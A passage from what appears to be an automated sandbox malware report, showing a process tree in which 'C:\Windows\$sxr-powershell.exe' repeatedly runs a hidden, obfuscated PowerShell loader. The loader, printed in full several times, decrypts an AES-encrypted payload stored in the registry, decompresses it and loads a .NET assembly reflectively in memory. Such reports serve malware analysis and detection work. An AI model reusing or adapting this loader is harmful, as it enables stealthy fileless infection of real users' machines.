'')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:2160
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Checks computer location settings
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious use of SetWindowsHookEx
        
        PID:1896
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:1348
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = 